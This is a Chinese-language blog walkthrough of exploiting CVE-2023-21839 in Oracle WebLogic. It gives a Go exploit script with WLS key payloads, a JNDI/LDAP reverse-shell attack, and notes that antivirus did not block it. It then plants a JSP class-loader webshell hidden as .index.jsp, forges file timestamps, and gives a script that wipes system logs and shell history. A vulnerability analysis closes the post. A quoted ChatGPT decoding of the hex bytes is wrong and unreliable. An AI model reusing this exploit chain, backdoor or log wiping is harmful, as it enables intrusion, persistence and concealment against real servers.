&giop.LocateRequest{ Header: &giop.Header{ Magic: giop.D(giop.GIOP), MajorVersion: []byte {giop.MajorVersion}, MinorVersion: []byte {giop.MinorVersion}, MessageFlags: []byte {giop.BigEndianType}, MessageType: []byte {giop.LocateRequestType}, }, RequestId: giop.Int32(5 ), TargetAddress: giop.D(giop.KeyAddr), KeyAddress: giop.D(giop.NameService), } giop.Log(5 , "LocateRequest" ) _, _ = conn.Write(locateRequest2.Bytes()) buf = make ([]byte , 1024 *10 ) _, _ = conn.Read(buf) resolve := &giop.ResolveRequest{ Header: &giop.Header{ Magic: giop.D(giop.GIOP), MajorVersion: []byte {giop.MajorVersion}, MinorVersion: []byte {giop.MinorVersion}, MessageFlags: []byte {giop.BigEndianType}, MessageType: []byte {giop.RequestType}, }, RequestId: giop.Int32(6 ), ResponseFlags: []byte {giop.WithTargetScope}, TargetAddress: giop.D(giop.KeyAddr), KeyAddress: giop.D(wlsKey1), RequestOperation: giop.D(giop.ResolveOp), ServiceContextList: &giop.ServiceContextList{ SequenceLength: giop.Int32(4 ), ServiceContext: []*giop.ServiceContext{ ServiceContext0, ServiceContext1, { VSCID: giop.D("424541" ), SCID: giop.D("03" ), Endianness: []byte {giop.BigEndianType}, Data: giop.D("00000000000000" + key2 + "00000000" ), }, ServiceContext2, }, }, CosNamingDissector: giop.D("00000000000000010000000574657374000000000000000100" ), } giop.Log(6 , "ResolveRequest" ) _, _ = conn.Write(resolve.Bytes()) buf = make ([]byte , 1024 *10 ) _, _ = conn.Read(buf) resolveTwice := &giop.ResolveRequest{ Header: &giop.Header{ Magic: giop.D(giop.GIOP), MajorVersion: []byte {giop.MajorVersion}, MinorVersion: []byte {giop.MinorVersion}, MessageFlags: []byte {giop.BigEndianType}, MessageType: []byte {giop.RequestType}, }, RequestId: giop.Int32(7 ), ResponseFlags: []byte {giop.WithTargetScope}, TargetAddress: giop.D(giop.KeyAddr), KeyAddress: giop.D(wlsKey2), RequestOperation: giop.D(giop.ResolveOp), ServiceContextList: &giop.ServiceContextList{ SequenceLength: giop.Int32(4 ), ServiceContext: []*giop.ServiceContext{ ServiceContext0, ServiceContext1, { VSCID: giop.D("424541" ), SCID: giop.D("03" ), Endianness: []byte {giop.BigEndianType}, Data: giop.D("00000000000000" + key2 + "00000000" ), }, ServiceContext2, }, }, CosNamingDissector: giop.D("00000000000000010000000574657374000000000000000100" ), } giop.Log(7 , "ResolveRequest" ) _, _ = conn.Write(resolveTwice.Bytes()) buf = make ([]byte , 1024 *10 ) _, _ = conn.Read(buf) err = conn.Close() if err != nil { fmt.Println(err) } }
开始看到这个脚本让我非常困惑,其中最多的就是奇奇怪怪的数字,后面问了问chatgpt才知道
如
1 CosNamingDissector: giop.D("00000000000000010000000574657374000000000000000100" )
它表示一个GIOP(General Inter-ORB Protocol)消息的二进制编码。GIOP是CORBA(Common Object Request Broker Architecture)规范中定义的一种通信协议,用于在分布式对象系统中进行通信。
具体来说,这个字节数组表示一个GIOP消息的头部,包括以下信息:
00000000 00000001:GIOP版本号,这里表示版本1.0
00000000 00000101:GIOP消息标志,这里表示请求消息
74657374:GIOP消息类型,这里表示一个字符串消息
00000000 00000001:请求消息的标识符,这里为1
该go脚本流程大致为
解析命令行参数(IP地址、端口、LDAP字符串)
获取Weblogic版本号
根据Weblogic版本号设置密钥
连接到Weblogic服务器
设置ServiceContext
构造恶意数据包
发送恶意数据包
关闭连接
代码中的 import 语句引用了四个不同的包:
CVE-2023-21839
encoding/binary
encoding/hex
flag
fmt
net
strings
其中, flag 用于解析命令行参数。 net 用于处理网络连接。 strings 用于字符串处理。encoding/hex 用于十六进制编码/解码,encoding/binary 用于处理二进制数据。
main() 函数开始时解析命令行参数并打印相应的提示信息。然后调用 giop.GetVersion()
函数检测 WebLogic 服务器的版本。分析完版本后然后根据 WebLogic
版本选择不同的攻击方式,分别设置变量 wlsKey1
和 wlsKey2
,最后使用 net.Dial()
函数建立与 WebLogic
服务器的连接。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package giopimport ( "encoding/binary" "encoding/hex" ) func D (str string ) []byte { data, _ := hex.DecodeString(str) return data } func E (b []byte ) string { return hex.EncodeToString(b) } func Int32 (i int ) []byte { b := make ([]byte , 4 ) binary.BigEndian.PutUint32(b, uint32 (i)) return b }
由于该漏洞的影响范围为Weblogic 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
,所以该代码先进行了网站weblogic
版本检测,如果不是12或14版本则进行测试,否则结束
WebLogic Server使用WLS Key来加密和解密敏感数据,例如密码和证书私钥
WLS Key是由WebLogic Server生成并管理的,它不是由管理员手动设置的,也不是系统默认的。在WebLogic Server启动时,它会自动生成一个WLS Key,并使用该密钥来加密和解密存储在WebLogic Server中的敏感数据,例如密码和证书私钥。
WebLogic Server生成的WLS Key是每个实例唯一的,每个实例都有自己的WLS Key。这是因为WLS Key是通过使用特定于WebLogic Server实例的信息生成的
所以在下面的代码中wls作用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 if ver == "12" { fmt.Println("[*] weblogic 12" ) wlsKey1 = "00424541080103000000000c41646d696e53657276657200000000000000003349" + "444c3a7765626c6f6769632f636f7262612f636f732f6e616d696e672f4e616d696e6743" + "6f6e74657874416e793a312e3000000000000238000000000000014245412c0000001000" + "00000000000000{{key1}}" wlsKey2 = "00424541080103000000000c41646d696e53657276657200000000000000003349" + "444c3a7765626c6f6769632f636f7262612f636f732f6e616d696e672f4e616d696e6743" + "6f6e74657874416e793a312e30000000000004{{key3}}000000014245412c0000001000" + "00000000000000{{key1}}" } else if ver == "14" { fmt.Println("[*] weblogic 14" ) wlsKey1 = "00424541080103000000000c41646" + "d696e53657276657200000000000000003349444c3a7765626c" + "6f6769632f636f7262612f636f732f6e616d696e672f4e616d6" + "96e67436f6e74657874416e793a312e30000000000002380000" + "00000000014245412e000000100000000000000000{{key1}}" wlsKey2 = "00424541080103000000000c41646d696e53657276657" + "200000000000000003349444c3a7765626c6f6769632f636f72" + "62612f636f732f6e616d696e672f4e616d696e67436f6e74657" + "874416e793a312e30000000000004{{key3}}00000001424541" + "2e000000100000000000000000{{key1}}" } else { fmt.Println("[!] error and exit" ) }
这个go脚本的使用很简单,先在攻击机1369
端口打开ldap
先进行编译
1 go build main.go -o web.exe
然后攻击机上打开1369端口,挂上ldap
最后简单跑个计算器(测试时间:2023/3/1,火绒未检测到,但是弹cmd还是会被警告的)
公网测试 太穷了,没有第二台电脑,在aliyun
上搞了个weblogic
,看看是否检测的到吗
这是公网环境下的
然后一样的测试如上,会被windows defender
检测到,但是不会拦截,还是会一样执行命令
和朋友借了一下服务器测试,确实是可以实现公网测试的,而且windows defender
并未拦截(公网测试时间:2023/3/2)
Linux 环境搭建 从官网下载Weblogic 12.2.1.3.0
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
配置java环境 但是需要注意,由于Weblogic
中的maven
的存在,其识别jdk
时,只针对环境变量名JAVA_HOME
的路径进行识别,而如果是在PATH
中配置的,会报错找不到java
环境的位置
1 ERROR: Cannot determine the Java Home ERROR: Specify the -jreLoc option
然后再次管理员执行时发现失败,查看报错日志
java.lang.NullPointerException: Cannot invoke “java.lang.reflect.Method
.invoke(Object, Object[])” because “com.sun.xml.bind
.v2.runtime.reflect.opt.Injector.defineClass” is null
[[
猜测应该是我的java
自身的问题
从stack
中了解到了,在java9
的时候,JAXB
(Java Architecture for XML Binding)[java映射为xml的表示方式]
在java9
已经被标记为弃用,在java11
的时候已经被删除,所以需要换到低版本的java
或者在依赖项添加xml
库,让其重新映射
New APIs in Java 11 - javaalmanac.io
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > com.sun.xml.bind</groupId > <artifactId > jaxb-impl</artifactId > <version > 2.3.1</version > </dependency > <dependency > <groupId > com.sun.xml.messaging.saaj</groupId > <artifactId > saaj-impl</artifactId > <version > 1.5.1</version > </dependency >
【建议下载jdk8低版本最方便,记得再次修改JAVA_HOME
环境变量】
注意,这个和log4j的原因一样,是加载远程恶意类导致远程命令的执行,所以对java是否开启加载远程类,也就是要注意对应的版本
版本 ≤ JDK 6u211、7u201、 8u191、11.0.1
所以这里直接下载JDK-8u171
https://www.oracle.com/hk/java/technologies/javase/javase8-archive-downloads.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 tar -zxvf jdk-8u171-linux-x64.tar.gz -C /usr/local/jdk/ sudo vi ~/.bashrc export JAVA_HOME=/usr/local/jdk/jdk1.8.0_171 export JRE_HOME=${JAVA_HOME} /jre export CLASSPATH=.:${JAVA_HOME} /lib:${JRE_HOME} /lib export PATH=${JAVA_HOME} /bin:$PATH source ~/.bashrcsudo update-alternatives --install /usr/bin/java java /usr/local/jdk/jdk1.8.0_171/bin/java 300
查看版本
安装weblogic
1 java -jar fmw_12.2.1.3.0_wls.jar
安装目录名和weblogic所在用户组默认
安装中
用户名默认weblogic
密码为123456789
安装完成后,启动服务 找到/bin
启动服务脚本
1 find / -name 'startWebLogic.sh' 2>/dev/null
执行脚本
1 bash /home/ttoc/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/bin/startWebLogic.sh
成功访问
漏洞存在性测试 针对这种 T3 及 IIOP出现的漏洞,和log4j2一样,采用dnslog测试
1 .\CVE-2023 -21839 .exe -ip 192 .168 .169 .157 -port 7001 -ldap ldap:
发现有请求,说明可能存在漏洞
反弹shell
靶机ubuntu20.04:192.168.169.157
攻击机kali 2023.2:192.168.169.130
攻击机开启监听,准备反弹shell
然后使用JNDIExploit-1.3-SNAPSHOT.jar搭建ldap服务器
用go工具向靶机weblogic服务发送反弹shell的命令
但是执行后仍然遇到一点点问题,攻击机的JNDIExploit-1.3-SNAPSHOT.jar报错
错误java.lang.IllegalAccessError: superclass access check failed
通常发生在一个类试图访问另一个类中的某些元素,但是由于Java的访问控制,这个操作被禁止了。
在这种的情况下,com.feihong.ldap.template.TomcatEchoTemplate
类试图访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
类,但是由于模块java.xml
并没有将com.sun.org.apache.xalan.internal.xsltc.runtime
导出给com.feihong.ldap.template.TomcatEchoTemplate
所在的模块,所以访问失败了。
这个问题可能是由于Java的模块化系统引入的。
从Java 9开始,Java引入了模块系统,允许将类和接口组织到不同的模块中,并且可以控制模块之间的访问。
解决这个问题的一种方法是使用--add-exports
选项来打开模块的访问权限。
所以只用修改一下命令即可命令:
1 java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.169.130
这个命令会将java.xml
模块中的com.sun.org.apache.xalan.internal.xsltc.runtime
包导出给所有未命名的模块。
再次执行,成功
查看监听端口获取shell状态,成功获得靶机ubuntu的shell
权限维持 反弹获取的shell存在很多问题,由于是通过nc监听获取的一次会话,如果nc被退出,获取的shell也会跟着丢失,
所以需要将获取的shell从nc监听会话,转为正式的一个终端会话。
先ctrl z讲nc获取的shell会话置于后台运行,然后执行命令,
先重置stty,也就意味着你看不到输入的内容
然后把后台挂起的nc获取的shell会话调回前台,
最后再次完全刷新终端屏幕,
也可以合起来,
但是会发现虽然shell稳定了,但是显示错位了,这是stty的原因,当然也有部分kali和ubuntu之间终端显示底层的差异导致,可以用python自带的交互式shell处理,使得会话显示规整
直接启动python式交互
1 python -c 'import pty; pty.spawn("/bin/bash")'
可以看到调用后格式更规整,并且该交互shell还直接使用当前终端的高亮显示,也方便分清文件类型。
由于weblogic服务需要比较高的权限用户执行启动,所以反弹shell获取的会话权限也会很高,所以如果没有对执行weblogic服务器启动的用户自身的权限进行限制,就会十分危险。
但是为了维持权限稳定,可以写一个jsp一句话木马上去
根据官方文档,weblogic服务器的网站文件以及目录都在这个目录下
1 /home/ttoc/Oracle/Middleware/Oracle_Home/wlserver/server/lib/consoleapp/webapp
查看这个目录下的状况,
只需要找到一个web端可以非登录直接访问目录下文件的目录,写一个不死马,即可实现后门目的以来维持权限。
查看网页源码,发现/console/css可以在非登录状态下访问,并且该目录拥有执行权限,当然如果没有也可以凭借当前的root身份shell权限进行赋权,
然后在css
目录下创建一个jsp一句话木马文件,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <%! class U extends ClassLoader { U(ClassLoader c) { super (c); } public Class g (byte [] b) { return super .defineClass(b, 0 , b.length); } } public byte [] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder" ); return (byte []) clazz.getMethod("decodeBuffer" , String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64" ); Object decoder = clazz.getMethod("getDecoder" ).invoke(null ); return (byte []) decoder.getClass().getMethod("decode" , String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd" ); if (cls != null ) { new U (this .getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
再给1.jsp
赋权
然后蚁剑尝试连接靶机的这个文件
访问发现连接成功,
但是直接在当前服务端生成一个文件太容易被检测到,所以最好的办法就是将jsp一句话木马写入已有的jsp文件中,
先找一下当前目录的jsp文件
1 find / -name "*.jsp" 2> /dev/null
很快就会发现最后一个文件,
1 /home/ ttoc/Oracle/ Middleware/Oracle_Home/ wlserver/server/ lib/consoleapp/ consolehelp/index.jsp
做为index.jsp肯定可以被直接访问,而且在consolehelp路由下,所以是不需要登录访问的,于是将1.jsp内容附加到index.jsp的后面,然后删除1.jsp
先移动1.jsp到index.jsp所在目录
1 mv 1.jsp /home/ttoc/Oracle/Middleware/Oracle_Home/wlserver/server/lib/consoleapp/consolehelp/
然后将内容追加到index.jsp中
然后删掉1.jsp并为index.jsp赋执行权限
但是访问index.jsp文件时,发现并没有变化,哪怕删掉也依旧正常访问,这是因为weblogic有两种模式,一种是开发者模式,一种是生产模式,默认是生产模式,该模式下,修改的文件不会被部署到服务器上,它有自己的一个部署目录,而生产模式才会将修改文件重新部署,所以于是我换了个思路。
只是为了防止管理员发现而已生成文件,那我们可以生成一个隐藏文件 .index.jsp,虽然生产模式不会部署修改文件,但是新建文件还是会进行部署,于是再生成一个.index.jsp文件并写入jsp一句话木马,并index.jsp就恢复原来代码以及权限状态。
再次尝试蚁剑连接,
连接成功,并且可以正常访问
痕迹清理 由于我们执行了大量命令,并且生成和修改了部分目录和文件,所以当管理员进行检测服务器最近更新情况就会很快发现该文件,所以需要删除命令执行日志,并修改文件,目录生成和修改时间和其他一样
修改时间 先修改.index.jsp所在目录下的,
发现主要就三个部分,当前目录修改时间,index.jsp和.index.jsp的修改时间,
痕迹清除最好和其他同属性文件时间一致,可以看到文件最后一次修改时间统一为
Nov 23 2016
而目录修改时间统一为
Nov 27 04:51
于是执行命令
1 touch -t 201611230000 index .jsp .index .jsp
最后整体目录就正常了,时间也都正常了
然后是开始尝试的css目录
时间一致,所以命令修改一下即可
删除weblogic服务日志 1 /home/ ttoc/Oracle/ Middleware/Oracle_Home/u ser_projects/domains/ base_domain/servers/ AdminServer/logs
主要是一些服务启动日志和访问情况日志,可以直接都删除,除了文件夹可以保留
然后将日志目录修改时间改一下,和其他一致
执行命令,
删除系统日志 文件时间修改完了就是删除命令历史记录以及日志文件,
1 2 3 4 histroy -r history -c rm .bash_history HISTZISE=0
再使用vim打开,执行下面命令,
然后再删除日志文件
1 2 3 4 5 6 7 8 9 10 11 /var /run /utmp 记录现在登入的用户 /var /log /wtmp 记录用户所有的登入和登出 /var /log /lastlog 记录每一个用户最后登入时间 /var /log /btmp 记录错误的登入尝试 /var /log /auth.log 需要身份确认的操作 /var /log /secure 记录安全相关的日志信息 /var /log /maillog 记录邮件相关的日志信息 /var /log /message 记录系统启动后的信息和错误日志 /var /log /cron 记录定时任务相关的日志信息 /var /log /spooler 记录UUCP和news 设备相关的日志信息 /var /log /boot .log 记录守护进程启动和停止相关的日志消息
最后汇总可以一个脚本解决问题,只是vim需要自己操作一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/bash echo > /var/log/syslogecho > /var/log/messagesecho > /var/log/httpd/access_logecho > /var/log/httpd/error_logecho > /var/log/xferlogecho > /var/log/secureecho > /var/log/auth.logecho > /var/log/user.logecho > /var/log/wtmpecho > /var/log/lastlogecho > /var/log/btmpecho > /var/run/utmprm ~/.bash_historyhistory -c
首先来到用户目录~,
生成清除痕迹脚本文件,
然后赋执行权限,
然后清空vim记录,
最后删掉.viminfo ,其中有大量当前用户执行的用vim生成的文档日志
最后再次执行脚本清空系统日志和命令执行历史,因为是weblogic服务,所以没有用httpd,所以没有日志。
最后一步删除clear.sh,再修改时间,即可
1 rm clear .sh ;touch -t 11270436 ./
痕迹清理完成,渗透完毕
附加用java工具 在java17环境下运行脚本发生问题,
这个错误是由于Java 9中已经弃用了java.corba模块(例如,org.omg.CORBA*包),而在Java 11中,该模块已经不再可用。弃用模块意味着默认情况下,模块中的类在类路径中不可用。
对于Java 9和10,你需要在命令行中包含--add-module java.corba
选项以将它们添加到类路径。但是,这个选项在Java 11中不可用。
所以对于Java 11以及之后的版本,需要从在线资源中下载GlassFish CORBA JAR文件,并将它们添加到Java 11的类路径,
glassfish-corba-omgapi.jar
glassfish-corba-orb.jar
glassfish-corba-internal-api.jar
pfl-basic.jar
pfl-tf.jar
当然最简单的就是切换工具所在java环境降低版本,于是我将主机的java环境降低为jdk1.8.0_171
就可以成功执行,并成功反弹shell
漏洞原理分析 该漏洞的形成由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server
可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
而t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup
查看,当远程对象继承自OpaqueReference
时,lookup
查看远程对象,服务端会调用远程对象getReferent
方法。weblogic.deployment.jms.ForeignOpaqueReference
继承自OpaqueReference
并且实现了getReferent
方法,并且存在retVal = context.lookup(this.remoteJNDIName)
实现,故可以通过rmi/ldap
远程协议进行远程命令执行。
t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。
所以其本质还是jndi注入,控制lookup函数的参数,这样来使客户端访问恶意的RMI或者LDAP服务来加载恶意的对象,从而执行代码。在JNDI服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用Reference类实现的。Reference类表示对存在于命名/目录系统以外的对象的引用。具体则是指如果远程获取RMI服务器上的对象为Reference类或者其子类时,则可以从其他服务器上加载class字节码文件来实例化。
漏洞点代码分析 该漏洞的形成主要原因是ForeignOpaqueReference
类的问题于是查看这个类代码跟进分析,打开com.oracle.weblogic.deployment.jar
包查看,
ForeignOpaqueReference
类的getReferent()
方法是造成这个漏洞的主要原因,该方法是OpaqueReference
接口的实现方法,在getReferent()
方法中,retVal = context.lookup(this.remoteJNDIName);
对本类remoteJNDIName
变量中的JNDI
地址进行远程加载,导致了反序列化漏洞。
但是实际上,反序列化过程中没有进行恶意操作,在完成反序列化过程后执行了漏洞类ForeignOpaqueReference
中getReferent()
方法中的lookup()
才触发的漏洞。
分析该方法代码,
发现在该方法中利用了lookup
方法,但是发现其对remoteJNDIName
用方法evalMarocs
进行了过滤,所以这里很有可能就是漏洞点限制方法不完全导致这里可以进行jndi
注入。
再查找何处调用了getReferent
方法,如何向这个方法传参,可以先看看remoteJNDIName
和jndiEnvironment
参数的定义和传递,这两个参数都是ForeignOpaqueReference
类定义的私有变量。
这两个变量的主要作用是在进行lookup
操作之前,用于检查 JNDI 环境是否已正确配置以访问远程资源。
继续分析图16中代码,发现其中只需要让一个条件为真,即可调用retVal = context.lookup(evalMacros(this.remoteJNDIName))
,而所有条件为假才会开始检测cachedReferent
。
分析条件语句,if (this.jndiEnvironment == null || !AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")) || this.remoteJNDIName == null || !this.remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this.remoteJNDIName.startsWith(AQJMS_TPREFIX))
,如果要条件为真只有以下几种情况:
条件1 (this.jndiEnvironment == null)
: 检查 jndiEnvironment
是否为 null
。如果 jndiEnvironment
为 null
,条件为真。
条件2 (!AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")))
: 检查 jndiEnvironment
中的 “java.naming.factory.initial
“ 属性是否不等于预定义的值 AQJMS_ICF
。如果不等于,条件为真。
条件3 (this.remoteJNDIName == null)
: 检查 remoteJNDIName
是否为 null
。如果 remoteJNDIName
为 null,条件为真。
条件4 (!this.remoteJNDIName.startsWith(AQJMS_QPREFIX))
: 检查 remoteJNDIName
是否不以预定义的值 AQJMS_QPREFIX
开头。如果不以该前缀开头,条件为真。
条件5 (!this.remoteJNDIName.startsWith(AQJMS_TPREFIX))
: 检查 remoteJNDIName
是否不以预定义的值 AQJMS_TPREFIX
开头。如果不以该前缀开头,条件为真。
开始本来想让jndiEnvironment
直接为空,这样条件语句就成立了, 但是却无法对InitialContext
进行赋值初始化,而remoteJNDIName
为空也不可以,因为它是JNDI
注入的关键参数。所以只要!AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial"))
或者!this.remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this.remoteJNDIName.startsWith(AQJMS_TPREFIX))
满足即可。
而jndiEnvironment
和remoteJNDIName
的值都可以通过反射赋值控制,再通过retVal = context.lookup(evalMacros(this.remoteJNDIName))
执行,便可以利用rmi/ldap
远程协议进行命令执行。
CVE-2022-39197 Cobaltstrike RCE